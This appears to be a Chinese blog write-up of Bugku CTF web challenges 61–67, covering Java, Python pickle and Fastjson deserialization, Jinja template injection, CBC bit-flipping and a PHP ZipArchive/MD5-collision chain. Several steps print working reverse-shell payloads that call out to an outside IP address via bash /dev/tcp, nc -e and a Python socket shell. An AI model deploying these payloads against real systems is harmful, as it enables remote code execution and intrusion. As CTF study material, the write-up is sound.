Bugku-CTF-web

发布于:2025-06-23 ⋅ 阅读:(17) ⋅ 点赞:(0)

最近刷了一下 Bugku-CTF-web 的61-70题(平台目前只有67),好难好难,全都是知识的盲区。各种代码审计,各种反序列化,各种反弹shell,各种模版注入,各种字符串绕过,可以说是Web安全的精髓。学到了几个奇技淫巧,比如PHP的passthru函数可以回显系统命令的结果,又比如PHP的ZipArchive类可以删除非ZIP文件,再比如fastcoll工具可以生成2个MD5一样的文件,等等。除此之外,最令我热血澎湃的是CBC字节翻转

ailx10

网络安全优秀回答者

互联网行业 安全攻防员

去咨询

61、ez_java_serialize

下载附件,开始代码审计

ysoserial 可以创建能够在反序列化时执行命令的对象

java -jar ysoserial-all.jar CommonsCollections5 "bash -c 'bash -i >& /dev/tcp/144.34.162.13/6666 0>&1'" > payload.ser
# 测试不行

java -jar ysoserial-all.jar CommonsCollections5 "nc -e /bin/bash 144.34.162.13 6666" > payload.ser
# 测试不行(参数顺序问题)

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "nc 144.34.162.13 6666 -e /bin/bash" > payload.ser
# 测试OK

将生成的 payload.ser 文件进行 Base64 编码

base64 -w 0 payload.ser > payload.b64

再经过URL编码

import urllib.parse

# 原始字符串
original_str = "xxx"
# 使用 quote 进行编码
encoded_str = urllib.parse.quote(original_str)
print("URL编码后:", encoded_str)

使用Burp重放

反弹shell成功,直接拿到flag

62、聪明的php

代码审计

存在代码执行

passthru 是 PHP 中的一个函数,用于执行外部程序并将其输出直接传递到浏览器。

读取flag

63、Python Pickle Unserializer

网站目录扫描,得到线索

访问/source得到源代码

使用Python进行反弹shell

import pickle
import base64
import subprocess

class Exploit:
    def __reduce__(self):
        # 返回一个可调用对象和其参数
        return (subprocess.call, (["python3","-c",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.34.162.13",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'],))

# 创建 payload
exploit = Exploit()
payload = base64.b64encode(pickle.dumps(exploit)).decode()
print(payload)

使用Burp发送请求

反弹shell成功,拿到flag

64、Java Fastjson Unserialize

在HTTP响应头中有线索

下载下来后,进行代码审计,确定是fastjson反序列化

  • 启动一个HTTP服务
python3 -m http.server 7777

  • 借助marshalsec项目[1],编译一个RMI服务器
mvn clean package -DskipTests

  • javac Getshell.java编译 class文件,进行反弹shell
// Getshell.java
import java.lang.Runtime;
import java.lang.Process;

public class Getshell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            // String[] commands = {"bash", "-c", "bash -i>& /dev/tcp/144.34.162.13/6666 0>&1"}; 这个不行
            String[] commands = {"nc", "144.34.162.13","6666", "-e","/bin/sh"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

  • 启动RMI服务器,监听9999端口,并加载远程类Getshell.class
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://144.34.162.13:7777/#Getshe
ll" 9999

使用Burp构造请求

POST /login HTTP/1.1
Host: 114.67.175.224:17828
Content-Length: 260
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: http://114.67.175.224:17828
Referer: http://114.67.175.224:17828/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
   "user":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
   "pwd":{
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"rmi://144.34.162.13:9999/Exploit",
       "autoCommit":true
    }
}

反弹shell成功,拿到flag

65、CaaS1

代码审计

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
    for b in blacklist:
        if b in inp:
            return "Blacklisted word!"
    if len(inp) <= 70:
        return inp
    if len(inp) > 70:
        return "Input too long!"

@app.route('/')
def main():
    return redirect('/generate')

@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'GET':
        return render_template('generate_certificate.html')
    elif request.method == 'POST':
        name = blacklist(request.values['name'])
        teamname = request.values['team_name']
        return render_template_string(f'<p>Haha! No certificate for {name}</p>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

打开网站,是一个POST表单,要求name长度小于70,且需要绕过黑名单,因此需要使用team_name打配合

我连接靶场的时候,一直500报错,但是本地执行,都是OK的

name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("pwd").read()

第二次启动靶场的时候成功了,做这个实验,就要一口气成功,中间有些错误,就会导致环境崩溃

直接拿到flag

name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("cat flag.txt").read()

66、CBC

使用dirsearch目录扫描,得到线索

dirsearch -u "http://114.67.175.224:13834/"

下载线索,是vim产生的.swp文件,使用vim -r可以打开,进行代码审计

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
        $(".username").focus(function() {
                $(".user-icon").css("left","-48px");
        });
        $(".username").blur(function() {
                $(".user-icon").css("left","0px");
        });

        $(".password").focus(function() {
                $(".pass-icon").css("left","-48px");
        });
        $(".password").blur(function() {
                $(".pass-icon").css("left","0px");
        });
});
</script>
</head>

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>
</html>

倒着推理(逼着自己多读几遍代码,逻辑就通顺了):

  • 需要进入show_homepage(),且$_SESSION["username"]==='admin'才能拿到flag
  • 进入login($info)check_login(),可以给$_SESSION["username"] 设置内容
  • 想要进入上面2个方法,又不能让$username==='admin'

第一次请求:用户名bdmin ,成功给$_SESSION["username"]赋值

序列化输出 a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:3:"123";}

<?php
$info = array('username'=>'bdmin','password'=>'123');
echo serialize($info);

// 输出 a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:3:"123";}

CBC分组

a:2:{s:8:"userna
me";s:5:"bdmin";
s:8:"password";s
:3:"123";}

将bdmin翻转成admin

<?php

$cipher="OHOIQpTEbdNPX6RguHhsprnhpwRHeTv0Kg%2FY9A%2BbucFebWn%2F7Rr3kwsX4SA9ysvdMK4oxKnZx3Bt11NHSVoOxw%3D%3D";
$enc=base64_decode(urldecode($cipher));

$enc[9] = chr(ord($enc[9]) ^ ord("b") ^ ord ("a"));
echo base64_encode($enc);
echo "\n";
echo urlencode(base64_encode($enc));
?>

输出新的密文cipher2:

OHOIQpTEbdNPXKRguHhsprnhpwRHeTv0Kg/Y9A+bucFebWn/7Rr3kwsX4SA9ysvdMK4oxKnZx3Bt11NHSVoOxw==
OHOIQpTEbdNPXKRguHhsprnhpwRHeTv0Kg%2FY9A%2BbucFebWn%2F7Rr3kwsX4SA9ysvdMK4oxKnZx3Bt11NHSVoOxw%3D%3D

第二次请求:将bdmin改成admin

使用第一次返回的iv和新的密文cipher2:

得到明文的base64编码,解码之后,可以看到已经将bdmin改成admin

由于上述第二个分组翻转导致第一个分组乱码了,为了保证可以反序列化,需要将第一个分组所有字符(被破坏的明文),全部进行翻转。这里iv是密文,badtext是被破坏的明文,网上很多博客写这里的时候都会误导。

<?php
$badtext = "Y2vl1b14EuQ+77iIbHG8JG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ==";
$iv = "ZdbmPjquAUFiKQhEB3JdtA%3D%3D";

$badtext = base64_decode($badtext);
$iv=base64_decode(urldecode($iv));
$cleartext = 'a:2:{s:8:"username";s:5:"bdmin";s:8:"password";s:3:"123";}';
$newiv = '';
for ($i=0;$i<16;$i++){
    $newiv=$newiv.chr(ord($iv[$i]) ^ ord($badtext[$i]) ^ ord ($cleartext[$i]));
}
echo urlencode(base64_encode($newiv));
?>

输出新的iv(破坏密文输入,控制明文输出):

Z4cx0fylKZ1m5MW%2FDnGP8Q%3D%3D

第三次请求:解决明文乱码无法反序列化问题

使用新的iv和密文cipher2,成功拿到flag

67、noteasytrick

直接代码审计

第一步:利用ZipArchive反序列化删除文件./sandbox/lock.lock

<?php

class Jesen {
    public $filename;
    public $content;
    public $me;
}

$j1 = new Jesen();
$j1->me = new ZipArchive();
$j1->filename = "./sandbox/lock.lock";
$j1->content = ZipArchive::OVERWRITE;

var_dump(serialize($j1));

输出:

O:5:"Jesen":3:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":6:{s:6:"lastId";i:-1;s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

通过数组绕过MD5检查

当有s:6:"lastId";i:-1;时,发现无法删除 ./sandbox/lock.lock 文件

删掉之后,成功删除 ./sandbox/lock.lock 文件

第二步:使用fastcoll(github上有源码,make编译一下就好了)制造好2个md5一样的文件,内容是:

注意前30个字符是可读的./../../../../../../../../flag

对这2个二进制文件进行URL编码,并验证这2个文件的MD5值是否相等

from urllib.parse import quote_from_bytes
import hashlib


def calculate_md5(file_path):
    """ 计算文件的 MD5 哈希值 """
    hash_md5 = hashlib.md5()
    with open(file_path, 'rb') as f:
        for chunk in iter(lambda: f.read(1024), b''):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()


def compare_files(file1_path, file2_path):
    """ 比较两个文件的 MD5 哈希值是否一致 """
    # 计算第一个文件的 MD5 哈希值
    md5_file1 = calculate_md5(file1_path)

    # 计算第二个文件的 MD5 哈希值
    md5_file2 = calculate_md5(file2_path)

    # 比较两个哈希值
    if md5_file1 == md5_file2:
        print(f"文件 {file1_path} 和 {file2_path} 的内容一致 (MD5: {md5_file1})")
    else:
        print(f"文件 {file1_path} 和 {file2_path} 的内容不一致")
        print(f"{file1_path} 的 MD5: {md5_file1}")
        print(f"{file2_path} 的 MD5: {md5_file2}")

def read_and_url_encode(file_path):
    """ 读取文件内容并进行 URL 编码 """
    with open(file_path, 'rb') as file:
        content = file.read()
        # 使用 quote_from_bytes 对二进制数据进行 URL 编码
        encoded_content = quote_from_bytes(content)
    return encoded_content

def main():
    file1_path = 'a1.txt'
    file2_path = 'a2.txt'

    # 读取并编码第一个文件
    encoded_content1 = read_and_url_encode(file1_path)
    print(f"文件 {file1_path} 的 URL 编码内容:")
    print(encoded_content1)

    # 读取并编码第二个文件
    encoded_content2 = read_and_url_encode(file2_path)
    print(f"文件 {file2_path} 的 URL 编码内容:")
    print(encoded_content2)

    # 比较这2个文件的MD5值
    compare_files(file1_path, file2_path)

if __name__ == "__main__":
    main()

输出内容如下:

文件 a1.txt 的 URL 编码内容:
./../../../../../../../../flag%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F1z%D8%EAj%E2%B6%1D%3BC%DC%E5%5B%8Az%F0%1D%F1%FB%D2%CF%82j_%2B%86%3C-%C7%A8%13%25%90%BB%CC%02%BE%B6%0A%B1G%26%C4%FB%0C.%3Er%01%5D%29%EC%AC%C4%B5%2A%DBbep6%A5%D0%EE8K%FC%0D%FF%0D%FD%3B%7FN%7D%0A%27%D0%8AW%2AX%F4%29%16%7D%C0Y%D5%9B%F3%C0%CCY%7D%1E%89Q%16%E2%29%F7R%90_W%B5%0F%91%B9%83%E6%AE%FF%D0%5B%8F%BF%D5%1F%BF%91%9Do%90%DF%1F%C6

文件 a2.txt 的 URL 编码内容:
./../../../../../../../../flag%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F1z%D8%EAj%E2%B6%1D%3BC%DC%E5%5B%8Az%F0%1D%F1%FBR%CF%82j_%2B%86%3C-%C7%A8%13%25%90%BB%CC%02%BE%B6%0A%B1G%26%C4%FB%0C%AE%3Er%01%5D%29%EC%AC%C4%B5%2A%DBbe%F06%A5%D0%EE8K%FC%0D%FF%0D%FD%3B%7FN%7D%0A%27%D0%8AW%2AX%F4%A9%16%7D%C0Y%D5%9B%F3%C0%CCY%7D%1E%89Q%16%E2%29%F7R%90_W%B5%0F%919%83%E6%AE%FF%D0%5B%8F%BF%D5%1F%BF%91%9D%EF%90%DF%1F%C6

文件 a1.txt 和 a2.txt 的内容一致 (MD5: c554302c2bc77da0c3915181f57d118e)

这里a1对应a,a2对应b,c的话就是简单的Jesen对象序列化

<?php

class Jesen {
    public $filename;
    public $content;
    public $me;
}

$j2 = new Jesen();

var_dump(serialize($j2));

输出:

O:5:"Jesen":3:{s:8:"filename";N;s:7:"content";N;s:2:"me";N;}

最后使用Burp构造请求,直接拿到flag

参考

  1. ^marshalsec https://github.com/mbechler/marshalsec


网站公告

今日签到

点亮在社区的每一天
去签到